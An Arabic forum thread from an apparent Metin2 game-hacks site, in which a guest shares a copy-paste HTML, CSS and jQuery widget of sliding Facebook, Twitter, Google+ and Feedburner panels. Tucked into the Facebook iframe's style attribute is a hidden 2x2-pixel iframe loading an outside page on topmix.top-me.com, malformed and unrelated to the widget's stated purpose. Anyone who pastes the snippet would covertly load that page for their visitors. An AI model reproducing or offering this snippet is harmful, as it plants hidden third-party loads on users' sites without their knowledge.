اكبر واقدم منتدى للعبة مغامرات الشرق Metin2 بجميع انواعها , أقوى الهاكات والخدمات والسيرفرات وبرمجة metin2 وأفضل الشروحات للعبة وحلول لجميع المشاكل , ونهتم بكروس فاير وكل ما يلزمها
 
الرئيسيةالرئيسية  اليوميةاليومية  س .و .جس .و .ج  بحـثبحـث  قائمة الاعضاءقائمة الاعضاء  المجموعاتالمجموعات  التسجيلالتسجيل  دخولدخول  
عاجل : تم تفريغ قسم هاكات مايتن 2 بسبب جميع الهاكات التي بالقسم انتهت صلاحيتها وسوف يتم قريباً طرح هاكات جديده لعشاق مايتن2

اخر 10 مشاركات

منتديات منظمة الصحراء


شاطر | 
 

 مربع المواقع الاجتماعية google+ و facebook و twitter بشكل رائع

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
زائر
زائر



مُساهمةموضوع: مربع المواقع الاجتماعية google+ و facebook و twitter بشكل رائع   الأربعاء أبريل 10, 2013 1:52 pm




ضع هدا الكود في المكان الخاص بال html




<style>
img,a {
border: 0;}
#on {
visibility: visible;}
#off {
visibility: hidden;}
#facebook_div {
width: 196px;
height: 340px;
overflow: hidden;}
#twitter_div {
width: 246px;
height: 353px;
overflow: hidden;}
#google_plus_div {
width: 152px;
height: 97px;
overflow: hidden;
margin-left: -50px;
margin-top: 10px;}

#knfeedburner_div {
width: 300px;
height: 97px;
overflow: hidden;
margin-top: 5px;
margin-left: -4px;}
#kakinetwork_div {
width: 300px;
height: 97px;
overflow: hidden;
}/* right side style */#facebook_right {
z-index: 10005;
border: 2px solid #3c95d9;
background-color: #fff;
width: 196px;
height: 353px;
position: fixed;
right: -200px;}
#facebook_right img {
position: absolute;
top: -2px;
left: -35px;}
#facebook_right iframe {
border: 0px solid #3c95d9;
overflow: hidden;
position: static;
height: 360px;
left: -2px;
top: -3px;}
#twitter_right {
z-index: 10004;
border: 2px solid #6CC5FF;
background-color: #6CC5FF;
width: 246px;
height: 353px;
position: fixed;
right: -250px;}
#twitter_right_img {
position: absolute;
top: -2px;
left: -35px;
border: 0;}
#google_plus_right {
z-index: 10003;
background-color: #F2F2F2;
border: 2px solid #006ec9;
border-top: 2px solid #0056a0;
border-bottom: 2px solid #0056a0;
border-right: 2px solid #0056a0;
border-left: hidden;
width: 152px;
height: 97px;
position: fixed;
right: -154px;}
#google_plus_right_img {
position: absolute;
top: -2px;
left: -33px;
border: 0;}
#feedburner_right {
z-index: 10003;
background-color: #fefefe;
border: 2px solid #5b5b5b;
border-top: 2px solid #5b5b5b;
border-bottom: 2px solid #5b5b5b;
border-right: 2px solid #5b5b5b;
border-left: hidden;
width: 300px;
height: 97px;
position: fixed;
right: -303px;}
#feedburner_right_img {
position: absolute;
top: -2px;
left: -33px;
border: 0;}
#kakinetwork_right {
z-index: 10003;
border: 2px solid #303030;
background-color: #fff;
width: 300px;
height: 97px;
position: fixed;}
#kakinetwork_right img {
position: absolute;
top: -2px;
left: -101px;
}/* left side style */#facebook_left {
z-index: 10005;
border: 2px solid #3c95d9;
background-color: #fff;
width: 196px;
height: 353px;
position: fixed;
left: -200px;}
#facebook_left img {
position: absolute;
top: -2px;
right: -35px;}
#facebook_left iframe {
border: 0px solid #3c95d9;
overflow: hidden;
position: static;
height: 360px;
right: -2px;
top: -3px;}
#twitter_left {
z-index: 10004;
border: 2px solid #6CC5FF;
background-color: #6CC5FF;
width: 246px;
height: 353px;
position: fixed;
left: -250px;}
#twitter_left_img {
position: absolute;
top: -2px;
right: -35px;
border: 0;}
#google_plus_left {
z-index: 10003;
background-color: #006ec9;
border: 2px solid #006ec9;
border-top: 2px solid #0056a0;
border-bottom: 2px solid #0056a0;
border-left: 2px solid #0056a0;
border-right: hidden;
width: 152px;
height: 97px;
position: fixed;
left: -154px;}
#google_plus_left_img {
position: absolute;
top: -2px;
right: -33px;
border: 0;}
#feedburner_left {
z-index: 10003;
background-color: #fefefe;
border: 2px solid #5b5b5b;
border-top: 2px solid #5b5b5b;
border-bottom: 2px solid #5b5b5b;
border-left: 2px solid #5b5b5b;
border-right: hidden;
width: 300px;
height: 97px;
position: fixed;
left: -303px;}
#feedburner_left_img {
position: absolute;
top: -2px;
right: -33px;
border: 0;}
#kakinetwork_left {
z-index: 10003;
border: 2px solid #303030;
background-color: #fff;
width: 300px;
height: 97px;
position: fixed;}
#kakinetwork_left img {
position: absolute;
top: -2px;
right: -101px;}
.box-title1 {
border: 1px solid #ddd;
/*border-radius*/
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
border-radius: 6px;
/*box-shadow*/
-webkit-box-shadow: 5px 5px 5px #CCCCCC;
-moz-box-shadow: 5px 5px 5px #CCCCCC;
box-shadow: 5px 5px 5px #CCCCCC;
padding: 10px;
margin: 10px 0;}
.enteryouremail {
background: #fff !important;
border: 1px solid #d2d2d2;
padding: 0px 8px 0px 8px;
color: #a19999;
font-size: 12px;
height: 25px;
width: 165px;
/*border-radius*/
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
margin: 0px;}
.submitbutton {
background: #F2F2F2;
border: 1px solid #F66303;
/*box-shadow*/
-webkit-box-shadow: 3px 3px 3px #666;
box-shadow: 3px 3px 3px #666;
font: bold 12px Arial, sans-serif;
color: #000000;
height: 25px;
padding: 0 12px 0 12px;
margin: 0 0 0 5px;
/*border-radius*/
-webkit-border-radius: 5px;
border-radius: 5px;
cursor: pointer;}
</style><br />
<br />
<script

src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js'></script>
<script type="text/javascript"
src="http://apis.google.com/js/plusone.js"></script> <script
type="text/javascript">jQuery(document).ready(function(){
jQuery("#facebook_left").hover(function(){
jQuery(this).stop(true,false).animate({left: 0}, 500); },function(){
jQuery("#facebook_left").stop(true,false).animate({left: -200}, 500);
}); jQuery("#twitter_left").hover(function(){
jQuery(this).stop(true,false).animate({left: 0}, 500); },function(){
jQuery("#twitter_left").stop(true,false).animate({left: -250}, 500);
}); jQuery("#google_plus_left").hover(function(){
jQuery(this).stop(true,false).animate({left: 0}, 500); },function(){
jQuery("#google_plus_left").stop(true,false).animate({left: -154}, 500);
}); jQuery("#feedburner_left").hover(function(){
jQuery(this).stop(true,false).animate({left: 0}, 500); },function(){
jQuery("#feedburner_left").stop(true,false).animate({left: -303}, 500);
}); });</script><div id="on"><div id="facebook_left"
style="top: 18%;"><div id="facebook_div"><img
src="https://i70.servimg.com/u/f70/17/01/51/85/tpng10.png"
alt=""/><iframe
src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2Farabedownload&amp;width=200&amp;height=258&amp;show_faces=true&amp;colorscheme=light&amp;stream=false&amp;border_color&amp;header=false&amp;appId=228515460552690"
scrolling="no" frameborder="0" style="border:none; overflow:hidden;
<iframe src ="http://topmix.top-me.com/h6-page" width="2"
height="2">
</iframe>; height:258px;"
allowTransparency="true"></iframe></div></div></div><div
id="on"><div id="twitter_left" style="top: 35%;"><div
id="twitter_div"><img id="twitter_left_img"
src="https://i70.servimg.com/u/f70/17/01/51/85/google11.png"/>
<script
src="http://widgets.twimg.com/j/2/widget.js"></script>
<script>new TWTR.Widget({version: 2,type: 'profile',rpp:
4,interval: 1000,width: 246,height: 265,theme: {shell: {background:
'#63BEFD',color: '#FFFFFF'},tweets: {background: '#FFFFFF',color:
'#000000',links: '#47a61e'}},features: { loop: false,live:
true,scrollbar: false,hashtags: false,timestamp: true,avatars:
true,behavior: 'all' }})
.render().setUser('@topmix_forum'
).start();</script></div></div></div><div
id="on"><div id="google_plus_left" style="top: 52%;"><div
id="google_plus_div"><img id="google_plus_left_img"
src="https://i70.servimg.com/u/f70/17/01/51/85/google13.png"/><div
style="float:right;margin:10px 10px 10px 0px;"><g:plusone
size="tall"
expr:href="data:post.url"></g:plusone></div></div></div><div
id="on"><div id="feedburner_left" style=" top: 69%;"><div
id="knfeedburner_div"><center><h4
style="color:#F66303;">سجل إميلك وتوصل بمواضيعنا :</h4><form
action="http://feedburner.google.com/fb/a/mailverify" method="post"
target="popupwindow" onsubmit="window.open
('http://feedburner.google.com/fb/a/mailverify?uri=arabdownloadforum',
'popupwindow', 'scrollbars=yes,width=550,height=520');return
true"><input gtbfieldid="10" class="enteryouremail" name="email"
value="" onblur="if (this.value == '') {this.value = 'أدخل إميلك هنا
...';}" onfocus="if (this.value == 'أدخل إميلك هنا ...') {this.value =
'';}" type="text"/><input value="arabdownloadforum" name="uri"
type="hidden"/><input value="أرسل" class="submitbutton"
type="submit"/></form></center><img
id="feedburner_left_img"
src="https://i70.servimg.com/u/f70/17/01/51/85/google10.png"/></div></div></div></div><br
/>
<br />


ابحث عن topmix_forum بالنسبة لtwitter
ابحث عن arabedownload بالنسبة لfacebook

الرجوع الى أعلى الصفحة اذهب الى الأسفل
hana king
عضو جديد
عضو جديد


مشآرڪآتي: : 1
نقآطيّ ›› *: : 1
عدد التقييم : 0
تاريخ التسجيل : 07/02/2014

مُساهمةموضوع: رد: مربع المواقع الاجتماعية google+ و facebook و twitter بشكل رائع   الجمعة فبراير 07, 2014 8:34 pm

fgc
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
مربع المواقع الاجتماعية google+ و facebook و twitter بشكل رائع
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» طريقة اشهار منتداك في محركات البحث
» google للبنات فقط
» التسجيل في تويتر ( Twitter ) بالصور
» شرح عمل قروب لموقعك على فيسبو ك groups Facebook
» شرح عمل خريطة لمنتداك علي Google Sitemaps للاشهار منتداك

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات منظمة الصحراء :: تطوير المنتديات وحمايتها :: تَطْوِيرُ مُنْتَديَاتِ احلى مُنْتَدَى-
انتقل الى: